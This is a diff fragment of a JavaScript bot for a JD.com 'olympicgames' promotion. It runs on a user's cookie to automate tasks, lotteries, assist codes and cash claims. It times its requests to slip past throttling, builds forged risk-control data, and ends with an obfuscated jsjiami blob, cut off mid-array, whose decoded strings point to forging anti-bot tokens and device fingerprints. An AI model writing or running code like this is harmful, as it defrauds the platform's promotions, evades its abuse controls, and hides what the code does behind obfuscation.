=== `{}`) continue; + $.shopTask = $.shopResult.taskVos || []; + for (let i = 0; i < $.shopTask.length; i++) { + $.oneTask = $.shopTask[i]; + if($.oneTask.taskType === 21 || $.oneTask.taskType === 14 || $.oneTask.status !== 1){continue;} //不做入会,不做邀请 + taskbool = true + $.activityInfoList = $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.shoppingActivityVos || $.oneTask.browseShopVo || $.oneTask.simpleRecordInfoVo; + if($.oneTask.taskType === 12){//签到 + if($.shopResult.dayFirst === 0){ + $.oneActivityInfo = $.activityInfoList; + console.log(`店铺签到`); + await takePostRequest('olympicgames_bdDoTask'); + } + continue; + } + for (let j = 0; j < $.activityInfoList.length; j++) { + $.oneActivityInfo = $.activityInfoList[j]; + if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { + continue; + } + $.callbackInfo = {}; + console.log(`做任务:${$.oneActivityInfo.subtitle || $.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`); + await takePostRequest('olympicgames_doTaskDetail'); + if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) { + await $.wait(getRndInteger(7000, 9000)); + let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`) + await callbackResult(sendInfo) + } else { + await $.wait(getRndInteger(2000, 3000)); + console.log(`任务完成`); + } + if($.taskHotFlag) break + } + if($.taskHotFlag) break + } + if(taskbool) await $.wait(1000); + let boxLotteryNum = $.shopResult.boxLotteryNum; + for (let j = 0; j < boxLotteryNum; j++) { + console.log(`开始第${j+1}次拆盒`) + //抽奖 + await takePostRequest('olympicgames_boxShopLottery'); + await $.wait(3000); + } + // let wishLotteryNum = $.shopResult.wishLotteryNum; + // for (let j = 0; j < wishLotteryNum; j++) { + // console.log(`开始第${j+1}次能量抽奖`) + // //抽奖 + // await takePostRequest('zoo_wishShopLottery'); + // await $.wait(3000); + // } + if(taskbool) await $.wait(3000); + } + + $.Shend = false + await $.wait(1000); + console.log('\n百元守卫战') + await takePostRequest('olypicgames_guradHome'); + await $.wait(1000); + if($.Shend){ + await takePostRequest('olympicgames_receiveCash'); + await $.wait(1000); + } + } catch (e) { + $.logErr(e) + } +} + +async function takePostRequest(type) { + let body = ``; + let myRequest = ``; + switch (type) { + case 'olympicgames_home': + body = `functionId=olympicgames_home&body={}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; + myRequest = await getPostRequest(`olympicgames_home`, body); + break + case 'olympicgames_collectCurrency': + body = await getPostBody(type); + myRequest = await getPostRequest(`olympicgames_collectCurrency`, body); + break + case 'olympicgames_receiveCash': + let id = 6 + if ($.Shend) id = 4 + body = `functionId=olympicgames_receiveCash&body={"type":${id}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; + myRequest = await getPostRequest(`olympicgames_receiveCash`, body); + break + case 'olypicgames_guradHome': + body = `functionId=olypicgames_guradHome&body={}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; + myRequest = await getPostRequest(`olypicgames_guradHome`, body); + break + case 'olympicgames_getTaskDetail': + body = `functionId=${type}&body={"taskId":"","appSign":"1"}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; + myRequest = await getPostRequest(`olympicgames_getTaskDetail`, body); + break; + case 'olympicgames_doTaskDetail': + body = await getPostBody(type); + myRequest = await getPostRequest(`olympicgames_doTaskDetail`, body); + break; + case 'olympicgames_getFeedDetail': + body = `functionId=olympicgames_getFeedDetail&body={"taskId":"${$.taskId}"}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; + myRequest = await getPostRequest(`olympicgames_getFeedDetail`, body); + break; + case 'add_car': + body = await getPostBody(type); + myRequest = await getPostRequest(`olympicgames_doTaskDetail`, body); + break; + case 'shHelp': + case 'help': + body = await getPostBody(type); + myRequest = await getPostRequest(`zoo_collectScore`, body); + break; + case 'olympicgames_startTraining': + body = await getPostBody(type); + myRequest = await getPostRequest(`olympicgames_startTraining`, body); + break; + case 'olympicgames_speedTraining': + body = await getPostBody(type); + myRequest = await getPostRequest(`olympicgames_speedTraining`, body); + break; + case 'olympicgames_tiroGuide': + let sex = getRndInteger(0, 2) + let sportsGoal = getRndInteger(1, 4) + body = `functionId=olympicgames_tiroGuide&body={"sex":${sex},"sportsGoal":${sportsGoal}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; + myRequest = await getPostRequest(`olympicgames_tiroGuide`, body); + break; + case 'olympicgames_shopLotteryInfo': + body = `functionId=olympicgames_shopLotteryInfo&body={"channelSign":"1","shopSign":${$.shopSign}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; + myRequest = await getPostRequest(`olympicgames_shopLotteryInfo`, body); + break; + case 'qryCompositeMaterials': + body = `functionId=qryCompositeMaterials&body={"qryParam":"[{\\"type\\":\\"advertGroup\\",\\"id\\":\\"05371960\\",\\"mapTo\\":\\"logoData\\"}]","openid":-1,"applyKey":"big_promotion"}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`qryCompositeMaterials`, body); + break; + case 'olympicgames_bdDoTask': + body = await getPostBody(type); + myRequest = await getPostRequest(`olympicgames_bdDoTask`, body); + break; + case 'olympicgames_boxShopLottery': + body = `functionId=olympicgames_boxShopLottery&body={"shopSign":${$.shopSign}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; + myRequest = await getPostRequest(`olympicgames_boxShopLottery`,body); + break; + case 'wxTaskDetail': + body = `functionId=olympicgames_getTaskDetail&body={"taskId":"","appSign":"2"}&client=wh5&clientVersion=1.0.0&loginWQBiz=businesst1&appid=${$.appid}`; + myRequest = await getPostRequest(`olympicgames_getTaskDetail`,body); + break; + case 'olympicgames_pawnshopRewardPop': + body = `functionId=olympicgames_pawnshopRewardPop&body={"skuId":${$.Reward.skuId}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; + myRequest = await getPostRequest(`olympicgames_pawnshopRewardPop`,body); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + // console.log(data); + dealReturn(type, data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`返回异常:${data}`); + return; + } + switch (type) { + case 'olympicgames_home': + if (data.code === 0 && data.data && data.data.result) { + if (data.data['bizCode'] === 0) { + $.homeData = data.data; + $.secretpInfo[$.UserName] = true + console.log(`团队运动互助码:${$.homeData.result && $.homeData.result.groupInfoVO.groupInviteId || '助力已满,获取助力码失败'}\n`); + if ($.homeData.result && $.homeData.result.groupInfoVO.groupInviteId) { + $.groupInviteIdList.push({ + 'ues': $.UserName, + 'groupInviteId': $.homeData.result.groupInfoVO.groupInviteId, + 'max': false + }); + } + } + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + break; + case 'olympicgames_collectCurrency': + if (data.code === 0 && data.data && data.data.result) { + console.log(`收取成功,当前卡币:${data.data.result.poolCurrency}`); + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + if (data.code === 0 && data.data && data.data.bizCode === -1002) { + $.hotFlag = true; + console.log(`该账户脚本执行任务火爆,暂停执行任务,请手动做任务或者等待解决脚本火爆问题`) + } + break; + case 'olympicgames_receiveCash': + if (data.code === 0 && data.data && data.data.result) { + if (data.data.result.couponVO) { + console.log('升级成功') + let res = data.data.result.couponVO + console.log(`获得[${res.couponName}]优惠券:${res.usageThreshold} 优惠:${res.quota} 时间:${res.useTimeRange}`); + }else if(data.data.result.userActBaseVO){ + console.log('结算结果') + let res = data.data.result.userActBaseVO + console.log(`当前金额:${res.poolMoney}\n${JSON.stringify(res)}`); + } + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + break; + case 'olympicgames_getTaskDetail': + if (data.data && data.data.bizCode === 0) { + console.log(`互助码:${data.data.result && data.data.result.inviteId || '助力已满,获取助力码失败'}\n`); + if (data.data.result && data.data.result.inviteId) { + $.inviteList.push({ + 'ues': $.UserName, + // 'secretp': $.secretp, + 'inviteId': data.data.result.inviteId, + 'max': false + }); + } + $.taskList = data.data.result && data.data.result.taskVos || []; + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + break; + case 'olypicgames_guradHome': + if (data.data && data.data.bizCode === 0) { + console.log(`SH互助码:${data.data.result && data.data.result.inviteId || '助力已满,获取助力码失败\n'}`); + if (data.data.result && data.data.result.inviteId) { + if (data.data.result.inviteId) $.ShInviteList.push(data.data.result.inviteId); + console.log(`守护金额:${Number(data.data.result.activityLeftAmount || 0)} 护盾剩余:${timeFn(Number(data.data.result.guardLeftSeconds || 0) * 1000)} 离结束剩:${timeFn(Number(data.data.result.activityLeftSeconds || 0) * 1000)}`) + if(data.data.result.activityLeftSeconds == 0) $.Shend = true + } + $.taskList = data.data.result && data.data.result.taskVos || []; + } else if (data.data && data.data.bizMsg) { + if(data.data.bizMsg.indexOf('活动太火爆') > -1){ + $.hotFlag = true; + } + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + break; + case 'olympicgames_doTaskDetail': + if (data.data && data.data.bizCode === 0) { + if (data.data.result && data.data.result.taskToken) { + $.callbackInfo = data; + }else if(data.data.result && data.data.result.successToast){ + console.log(data.data.result.successToast); + } + } else if (data.data && data.data.bizMsg) { + if(data.data.bizMsg.indexOf('活动太火爆') > -1){ + $.taskHotFlag = true; + } + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + break; + case 'olympicgames_getFeedDetail': + if (data.code === 0) { + $.feedDetailInfo = data.data.result.addProductVos[0] || []; + } else if(data.data && data.data.bizMsg){ + console.log(data.data.bizMsg); + if(data.data.bizMsg.indexOf('活动太火爆') > -1){ + $.taskHotFlag = true; + } + } + break; + case 'add_car': + if (data.code === 0) { + if (data.data && data.data.bizCode === 0 && data.data.result && data.data.result.acquiredScore) { + let acquiredScore = data.data.result.acquiredScore; + if (Number(acquiredScore) > 0) { + console.log(`加购成功,获得金币:${acquiredScore}`); + } else { + console.log(`加购成功`); + } + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + } + break + case 'shHelp': + case 'help': + if (data.data && data.data.bizCode === 0) { + let cash = '' + if (data.data.result.hongBaoVO && data.data.result.hongBaoVO.withdrawCash) cash = `,并获得${Number(data.data.result.hongBaoVO.withdrawCash)}红包` + console.log(`助力成功${cash}`); + } else if (data.data && data.data.bizMsg) { + if(data.data.bizCode === -405 || data.data.bizCode === -411){ + $.canHelp = false; + } + if(data.data.bizCode === -404 && $.oneInviteInfo){ + $.oneInviteInfo.max = true; + } + if (data.data.bizMsg.indexOf('今天用完所有') > -1) { + $.canHelp = false; + } + if (data.data.bizMsg.indexOf('组过队') > -1 || data.data.bizMsg.indexOf('你已经有团队') > -1) { + $.canHelp = false; + } + if (data.data.bizMsg.indexOf('不需要助力') > -1) { + $.oneGroupInviteIdInfo.max = true + } + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + break; + case 'olympicgames_speedTraining': + if (data.data && data.data.bizCode === 0 && data.data.result) { + let res = data.data.result + console.log(`获得[${res.couponName}]优惠券:${res.usageThreshold} 优惠:${res.quota} 时间:${res.useTimeRange}`); + } else if (data.data && data.data.bizMsg) { + if (data.data.bizMsg.indexOf('不在运动中') > -1) { + $.speedTraining = false; + } else if(data.data.bizMsg.indexOf('活动太火爆') > -1){ + $.hotFlag = true; + } + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + break; + case 'olympicgames_startTraining': + if (data.data && data.data.bizCode === 0 && data.data.result) { + let res = data.data.result + console.log(`倒计时${res.countdown}s ${res.currencyPerSec}卡币/s`); + } else if (data.data && data.data.bizMsg) { + if (data.data.bizMsg.indexOf('运动量已经够啦') > -1) { + $.speedTraining = false; + } else if(data.data.bizMsg.indexOf('活动太火爆') > -1){ + $.hotFlag = true; + } + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + break; + case 'olympicgames_tiroGuide': + console.log(JSON.stringify(data)); + break; + case 'olympicgames_shopLotteryInfo': + if (data.code === 0) { + $.shopResult = data.data.result; + } else if(data.data && data.data.bizMsg){ + console.log(data.data.bizMsg); + if(data.data.bizMsg.indexOf('活动太火爆') > -1){ + $.taskHotFlag = true; + } + } + break; + case 'qryCompositeMaterials': + //console.log(data); + if (data.code === '0') { + $.shopInfoList = data.data.logoData.list; + console.log(`获取到${$.shopInfoList.length}个店铺`); + } + break + case 'olympicgames_bdDoTask': + if(data.data && data.data.bizCode === 0){ + console.log(`签到获得:${data.data.result.score}`); + }else if(data.data && data.data.bizMsg){ + console.log(data.data.bizMsg); + if(data.data.bizMsg.indexOf('活动太火爆') > -1){ + $.taskHotFlag = true; + } + }else{ + console.log(data); + } + break; + case 'olympicgames_boxShopLottery': + if(data.data && data.data.result){ + let result = data.data.result; + switch (result.awardType) { + case 8: + console.log(`获得金币:${result.rewardScore}`); + break; + case 5: + console.log(`获得:adidas能量`); + break; + case 2: + case 3: + console.log(`获得优惠券:${result.couponInfo.usageThreshold} 优惠:${result.couponInfo.quota},${result.couponInfo.useRange}`); + break; + default: + console.log(`抽奖获得未知`); + console.log(JSON.stringify(data)); + } + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + if(data.data.bizMsg.indexOf('活动太火爆') > -1){ + $.taskHotFlag = true; + } + } else { + console.log(JSON.stringify(data)); + } + break + case 'wxTaskDetail': + if (data.code === 0) { + $.wxTaskList = data.data.result && data.data.result.taskVos || []; + } + break; + case 'olympicgames_pawnshopRewardPop': + if (data.data && data.data.bizCode === 0 && data.data.result) { + console.log(JSON.stringify(data)); + console.log(`结果:${data.data.result.currencyReward && '额外奖励' + data.data.result.currencyReward + '卡币' || ''}`) + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify(data)); + } + break; + default: + console.log(`未判断的异常${type}`); + } +} +//领取奖励 +function callbackResult(info) { + return new Promise((resolve) => { + let url = { + url: `https://api.m.jd.com/?functionId=qryViewkitCallbackResult&client=wh5&clientVersion=1.0.0&body=${info}&_timestamp=` + Date.now(), + headers: { + 'Origin': `https://bunearth.m.jd.com`, + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `*/*`, + 'Host': `api.m.jd.com`, + 'User-Agent': UA, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn`, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': 'https://bunearth.m.jd.com' + } + } + $.get(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + console.log(data.toast.subTitle) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }) +} + +// 入会 +function openMemberCard(url, Referer) { + return new Promise(resolve => { + const option = { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + // "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": Referer, + "Cookie": $.cookie, + "User-Agent": UA, + } + } + $.get(option, async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} 入会 API请求失败,请检查网路重试`) + } else { + console.log(data) + if(data) { + data = JSON.parse(data) + console.log(data.message || JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function getPostRequest(type, body) { + let url = `https://api.m.jd.com/client.action?advId=${type}`; + const method = `POST`; + const headers = { + 'Accept': `application/json`, + 'Origin': `https://wbbny.m.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Content-Type': `application/x-www-form-urlencoded`, + 'Host': `api.m.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': UA, + 'Referer': `https://wbbny.m.jd.com`, + 'Accept-Language': `zh-cn` + }; + return {url: url, method: method, headers: headers, body: body}; +} + +async function getPostBody(type) { + let taskBody = ''; + let random = Math.floor(1e+6 * Math.random()).toString().padEnd(8, '8'); + let senddata = { + data: { + random + } + } + let retn = await utils.get_risk_result(senddata, "50085", $.UserName) + let ss = JSON.stringify({ + extraData: { + log: retn.log, + sceneid: "OY217hPageh5" + }, + random + }) + if (type === 'help' || type === 'shHelp') { + taskBody = `functionId=olympicgames_assist&body=${JSON.stringify({"inviteId":$.inviteId,"type": "confirm", ss})}&client=wh5&clientVersion=1.0.0` + } else if (type === 'olympicgames_collectCurrency') { + taskBody = `functionId=olympicgames_collectCurrency&body=${JSON.stringify({"type": $.collectId, ss})}&client=wh5&clientVersion=1.0.0`; + } else if(type === 'olympicgames_startTraining' || type === 'olympicgames_speedTraining') { + taskBody = `functionId=${type}&body=${JSON.stringify({ss})}&client=wh5&clientVersion=1.0.0`; + } else if(type === 'add_car'){ + taskBody = `functionId=olympicgames_doTaskDetail&body=${JSON.stringify({"taskId": $.taskId,"taskToken":$.taskToken, ss})}&client=wh5&clientVersion=1.0.0` + } else { + let actionType = 0 + if([1, 3, 5, 6, 8, 9, 14, 22, 23, 24, 25, 26].includes($.oneTask.taskId)) actionType = 1 + taskBody = `functionId=${type}&body=${JSON.stringify({"taskId": $.oneTask.taskId,"taskToken": $.oneActivityInfo.taskToken, ss,"shopSign":$.shopSign,"actionType":actionType,"showErrorToast":false})}&client=wh5&clientVersion=1.0.0` + } + return taskBody + `&uuid=${uuid}` + `&appid=${$.appid}` +} + +/** + * 随机从一数组里面取 + * @param arr + * @param count + * @returns {Buffer} + */ +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +// 随机数 +function getRndInteger(min, max) { + return Math.floor(Math.random() * (max - min) ) + min; +} + +// 计算时间 +function timeFn(dateBegin) { + //如果时间格式是正确的,那下面这一步转化时间格式就可以不用了 + var dateEnd = new Date(0);//获取当前时间 + var dateDiff = dateBegin - dateEnd.getTime();//时间差的毫秒数 + var leave1 = dateDiff % (24 * 3600 * 1000) //计算天数后剩余的毫秒数 + var hours = Math.floor(leave1 / (3600 * 1000))//计算出小时数 + //计算相差分钟数 + var leave2 = leave1 % (3600 * 1000) //计算小时数后剩余的毫秒数 + var minutes = Math.floor(leave2 / (60 * 1000))//计算相差分钟数 + //计算相差秒数 + var leave3 = leave2 % (60 * 1000) //计算分钟数后剩余的毫秒数 + var seconds = Math.round(leave3 / 1000) + + var timeFn = hours + ":" + minutes + ":" + seconds; + return timeFn; +} + + +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken(timeout = 0){ + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://bh.m.jd.com/gettoken`, + headers : { + 'Content-Type' : `text/plain;charset=UTF-8` + }, + body : `content={"appname":"50085","whwswswws":"","jdkey":"","body":{"platform":"1"}}` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + joyToken = data.joyytoken; + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +var _0xodF='jsjiami.com.v6',_0x1da8=[_0xodF,'UE9TVA==','dGV4dC9wbGFpbjtjaGFyc2V0PVVURi04','aHR0cHM6Ly9oNS5tLmpkLmNvbQ==','Y29tLmppbmdkb25nLmFwcC5tYWxs','aHR0cHM6Ly93YmJueS5tLmpkLmNvbS9iYWJlbERpeS9aZXVzLzJydHBmZks4d3FOeVBCSDZ3eVVEdUJLb0FiQ3QvaW5kZXguaHRtbD9iYWJlbENoYW5uZWw9ZmMmbG5nPTEwNC42OTc0NzEmbGF0PTMxLjQ2NjY1OSZzaWQ9YjdhYzAxNTRjMGI4N2EyN2QzNTI5ZWJhY2FiY2JjNncmdW5fYXJlYT0yMl8xOTYwXzM4NTc0XzUxNjc0','aHR0cHM=','ZXRxVnY=','alFnQUs=','Y29udGVudD17ImFwcG5hbWUiOiI1MDA4NSIsIndod3N3c3d3cyI6ImY0TzdUYzJqQktHSDFmdEVhS1pVdVNBPT0iLCJqZGtleSI6Ii1hNDUwNDZkZTlmYmYtMGE0ZmM4ZWM5NTQ4YTdmOSIsImJvZHkiOnsicGxhdGZvcm0iOiIxIn19','amlIeWk=','a05xS3o=','UEJuaWU=','WE11ZlI=','Y1FSYnQ=','TFdwTGw=','UmVRTnI=','WUZkcnE=','WmFJQVk=','ZWVrcmg=','SVpUY24=','Tmt2UHo=','aHFMZUM=','dVlaYXg=','YkJtZFc=','SUhmT2k=','SmJPdm4=','QUJIU1k=','REVMWFQ=','UFF5ZEc=','cmVxdWVzdA==','c2V0RW5jb2Rpbmc=','Q1BMaVA=','c0lSaHc=','SmJ3Vno=','Q2FycUY=','d3JpdGU=','Z2V0UmFuZG9tSW50','VFdoWWY=','ek1iY3o=','d0NVb00=','WkZrVXo=','d29XSkQ=','SmlXZlU=','eWp1Z0o=','Sk9YYUQ=','YmFzZTY0','Y29tLm1pdWkuaG9tZQ==','Mi41Ljg=','amlhbWk=','QmRBV3M=','cW9zSEs=','SUxHWWM=','UGtCUlg=','ZWNvYnQ=','TklJc2w=','Y1VUUEg=','dWtZRm0=','Snpueks=','RnpGZlo=','aElkZlo=','aFpmTFI=','QmdUbFk=','TXl5aEQ=','bXdBT24=','cGNPbm4=','cW9jYnU=','U0RLR04=','YkVlVGw=','SXFyVlU=','ZHhDUUU=','a2ltSGg=','bFBFWEQ=','YUxCVHo=','RU1qb0c=','RW1rdk4=','dndsS0I=','UlJDUUk=','Q3J6RXA=','Z2V0UmFuZG9tV29yZA==','YnVqRmY=','WmhRT2Q=','SkVYR3U=','WnlvVHY=','RmhNbmY=','SU5UY00=','fn5+','Z2V0Q3JjQ29kZQ==','MTR8MTF8MTB8MTN8MHwxNXwyfDV8MTJ8NnwzfDR8MTh8MTd8MTZ8N3w4fDl8MQ==','am95eXRva2Vu','56ys5LiA5qyh6K+35rGCam95eXRva2Vu','dHR0dHQ=','ZmZ0dHR0dWE=','T2JqZWN0LkZlLjxjb21wdXRlZD49Jk9iamVjdC5nZXRfcmlza19yZXN1bHQ9aHR0cHM6Ly9zdG9yYWdlLjM2MGJ1eWltZy5jb20vdG9reW8tb2x5bXBpYy8xLjAuMC9qcy9hcHAuNWM1MTc5MjguanMmaHR0cHM9Jyc=','TGludXggYWFyY2g2NA==','R29vZ2xlIEluYy4=','ZmZmZmZmdHQ=','dzMuMS4w','UXpMRUk=','am95eXRva2VuPQ==','a2dpUVY=','V1N5SmQ=','c1d0Qkg=','b0xMc1Y=','Z2V0S2V5','c2hhMjU2','U0JoZnM=','aHlRYUQ=','cGFyc2U=','Z2V0dG9rZW4=','Y29udGVudD17ImFwcG5hbWUiOiI1MDA4MiIsIndod3N3c3d3cyI6IiIsImpka2V5IjoiLWE0NTA0NmRlOWZiZi0wYTRmYzhlYzk1NDhhN2Y5IiwiYm9keSI6eyJwbGF0Zm9ybSI6IjEifX0=','bHh4a0k=','bG9n','ZUdLU08=','JnRva2VuPQ==','JnRpbWU9','Jm5vbmNlX3N0cj0=','JmtleT0=','JmlzX3RydXN0PTE=','b2JqVG9TdHJpbmcy','Z2V0VG91Y2hTZXNzaW9u','ZGVjaXBoZXJKb3lUb2tlbg==','UFBQSWk=','ZmxRSXA=','aHVXa2g=','cnJCbk8=','RXFsYXo=','YVRmamo=','TWVYQWw=','UWhMdXY=','cUdRR3U=','alZYU3o=','andLUGs=','eHVXYlU=','Z2V0X2Jsb2c=','Y29tLmh1YXdlaQ==','Y29tLm1pdWk=','Y29tLnhpYW9taQ==','Y29tLnRlbmNlbnQ=','Y29tLnZpdm8=','Y29tLm9wcG8=','Y29tLnNhbXN1bmc=','Zmxvb3I=','cmFuZG9t','bGVuZ3Ro','dWFOYnk=','T1VTSkU=','bnNTako=','UXRBeEM=','Q2lZY1I=','Y1p5UFo=','UEVFYW0=','Z2RRY2g=','SmRrTHo=','cllhYUo=','dm9IT2E=','akZ2YW8=','U3RCUko=','ck1aVEM=','WFFYeHc=','WkdYRGE=','aXlGamU=','VlpYa24=','V0VwdnU=','ck94eHE=','UVlZVk4=','TkxNa0M=','Vk1tSUE=','bWZId0I=','eHhqVE0=','VHRTbGk=','bkJuR1U=','YmJDekk=','MTB8OHw0fDExfDJ8M3wxMnw1fDl8MHw2fDd8MQ==','MjF8NTB8MTZ8Mjd8MjB8MzV8NDN8MTd8MjZ8NDR8MTJ8NTR8MTl8MjJ8MnwxM3wwfDM4fDMwfDMzfDU5fDF8Njd8MjV8M3w0N3wxMXwyNHw4fDMxfDY4fDY5fDUxfDEwfDd8NjR8Nnw2NnwyOHwzOXw1fDE1fDU3fDU2fDQ4fDcxfDI5fDM3fDMyfDR8NTJ8OXw0Nnw2NXw0MXw0NXw2MHwxOHwzNnw1NXw2MXwzNHw1M3w0Mnw0OXw3MHw1OHw2M3wyM3w2MnwxNHw0MA==','Z3hmcnk=','c3BsaXQ=','cmtFd3Y=','SWhuZU8=','d2NjY3o=','a3FKVWU=','WWJRYkY=','cmFwZlo=','SmF4Z3I=','dkJ3ZVA=','R0RzZXY=','dUdIbnk=','YkdTb04=','bnJNdmc=','eVdOUW0=','d1RLWVk=','V3hueXc=','Zm9keVo=','aVV2cG4=','cUVxekg=','YlBkbVE=','SXZDQlo=','cU5tQ1Y=','Rmhwd1o=','WGxqYnM=','YXNaUVo=','ZUdPZWo=','YXl5QnE=','VWdmQWY=','bklYdW4=','ZGxyVW4=','amNIWXU=','VmR0a3g=','S2txak0=','b2tyS0U=','aEJldXA=','WkVrbHA=','bmx1c3Y=','Y1dkVlk=','aGRQZ0U=','cGNDaUM=','TFRndkg=','ekt0VUc=','b0xZaWI=','allNdXA=','ZEZxRlg=','ZllpSXA=','UVhicUk=','U0VLZ3k=','bUNsclA=','SlVUU24=','ZGhxeG8=','RnhqZ0k=','Z1RSaEU=','bW9IUkk=','Z2dQZ3M=','bEl0dkY=','aVVXY1E=','aExyem4=','SEtzWks=','WGdLRmU=','ZHd6bVE=','cEt3eE0=','ZVBseUw=','U1JQdWY=','akhnQ2Q=','Z2VmdUw=','WVZNaWU=','cGVyaFg=','VklTZUE=','eFF6ZHc=','U2ZlYVA=','cWtRaUo=','Mnw0fDB8M3wx','YmpWWXQ=','UXdJdmE=','SnNRSUI=','ZnJvbUNoYXJDb2Rl','RUZHUlM=','V3BUYkc=','WHFrTlc=','amJUZ3U=','MnwwfDF8Nnw1fDR8Mw==','U0tweUU=','U3Vidlc=','YW5GR0o=','aUViRnE=','YUpZcG4=','ZUJlQWo=','Y2hhckNvZGVBdA==','V2xITlY=','T2RlcFg=','UUZoWnE=','UUtVcFo=','a2xoS20=','RWpQZFA=','R091S2U=','NXwzfDh8Nnw5fDF8MHw0fDd8Mg==','b0FDRXg=','WWF5WVU=','